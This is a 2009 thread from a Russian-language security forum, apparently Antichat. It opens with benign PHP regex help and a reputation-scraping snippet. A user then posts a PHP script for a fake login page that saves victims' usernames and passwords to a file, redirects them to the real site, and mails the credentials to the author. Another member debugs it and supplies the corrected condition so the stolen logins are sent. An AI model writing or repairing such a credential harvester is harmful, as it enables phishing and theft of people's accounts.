ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

02.03.2009, 19:40
|
|
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
Провел на форуме: 2375039
Репутация:
1160
|
|
Сообщение от heretic1990
как с помощью функции preg_match или preg_match_all вывести текст который находится промеж тегов?
<nobr> какой то текст </nobr>
preg_match('#<nobr>(.*)</nobr>#',$in,$out);
|
|
|

02.03.2009, 19:30
|
|
Участник форума
Регистрация: 23.06.2007
Сообщений: 188
Провел на форуме: 1051973
Репутация:
116
|
|
heretic1990
preg_match_all('#<tag>([^<]*)</tag>#si', $text, $m);
$m[1] - массив с текстами
|
|
|

02.03.2009, 19:32
|
|
Участник форума
Регистрация: 15.05.2008
Сообщений: 166
Провел на форуме: 2591223
Репутация:
128
|
|
heretic1990,репу античата хочешь отпарсить? 
Вот пример:
PHP код:
$content = file_get_contents("http://forum.antichat.ru/view_reputation.php?userid=56330&count=999999");
preg_match_all('#<nobr><b>\+([0-9]{1,5})</b></nobr>#i',$content,$pluses);
|
|
|

02.03.2009, 19:44
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме: 3728999
Репутация:
444
|
|
всем спс
|
|
|

02.03.2009, 20:11
|
|
Новичок
Регистрация: 07.12.2008
Сообщений: 10
Провел на форуме: 46291
Репутация:
8
|
|
function wans($to)
{
$th=rand(1,100);
if($th<=$to) return TRUE;
return FALSE;
}
|
|
|

02.03.2009, 20:53
|
|
Участник форума
Регистрация: 29.11.2005
Сообщений: 122
Провел на форуме: 1050637
Репутация:
27
|
|
не вижу отличия от моей функции, то что у тебя rand используется, он же намного режи генерирует рандомное число чем mt_rand.
и я (<=) забыл в своем примере.. но все равно это не то мне кажется что есть более лучшей вариант с более точным результатом....
|
|
|

02.03.2009, 21:08
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
Сделал фейк.
Тестирую.
И захотелось, чтобы приходило уведомление на email
Нацарапал следующий скрипт(аналог со скамом из Хакера)
PHP код:
<?php
if ((isset($_POST["user"])) and (isset($_POST["password"]))) { //проверка ну существование запроса
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные
$good = 'GOOD.txt'; //название файла, в который будут записыватся данные
$good = fopen($good,'a'); // открыие файла
$send = $_POST['user'].':'.$_POST['password']; //создание запроса
fwrite($good, $send."\n"); //запись в файл
echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";}; // отсылка на настоящую страницу
?>
<?php
if (empty($_POST["user"]) || empty($_POST["password"])){
mail("мой майл", "info", $_POST["password"]);
mail("$message", "eshat", $message);
};
?>
Проблема в том, что он посылает email уведомление, но совершенно пустое.
Там не фиксируются логины и пароли.
Можете помочь?
|
|
|

02.03.2009, 21:15
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
ВО 1 .. я не понел строки ..
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные
зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)
Во 2
if (empty($_POST["user"]) || empty($_POST["password"])){
отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?
В 3
echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";
ставь после отсылки уведомления ...
Последний раз редактировалось Doom123; 02.03.2009 в 21:24..
|
|
|

02.03.2009, 21:23
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
ВО 1 .. я не понел строки ..
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные
зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)
Перезаписываю?
Я хотел задать $message суперпеременной и встроить в письмо, чтобы приходили текста типа:
вася : вася
Во 2
if (empty($_POST["user"]) || empty($_POST["password"])){
отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?
Данные логина и пароля.
Я не понял следующего:
отсылка уведомления идёт только когда один из них или они оба пустые ...
В каком случае тогда не приходят уведомления? Когда они не пустые?
То есть их нужно задать снова?
|
|
|

02.03.2009, 21:29
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
Ershik мдяя ... слу мож ты книжку хоть почитаешь ...
$message - суперпеременная ? Оо
еси хочешь в таком виде такделай как сделанов перемменой $send
у тебя условие идёт ...
ЕСЛИ $_POST['user'] пустой ИЛИ $_POST['password'] пустой .. делаем следуйшее...
а тут отправка уведомления ...
делай if (!empty($_POST["user"]) && !empty($_POST["password"]))
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|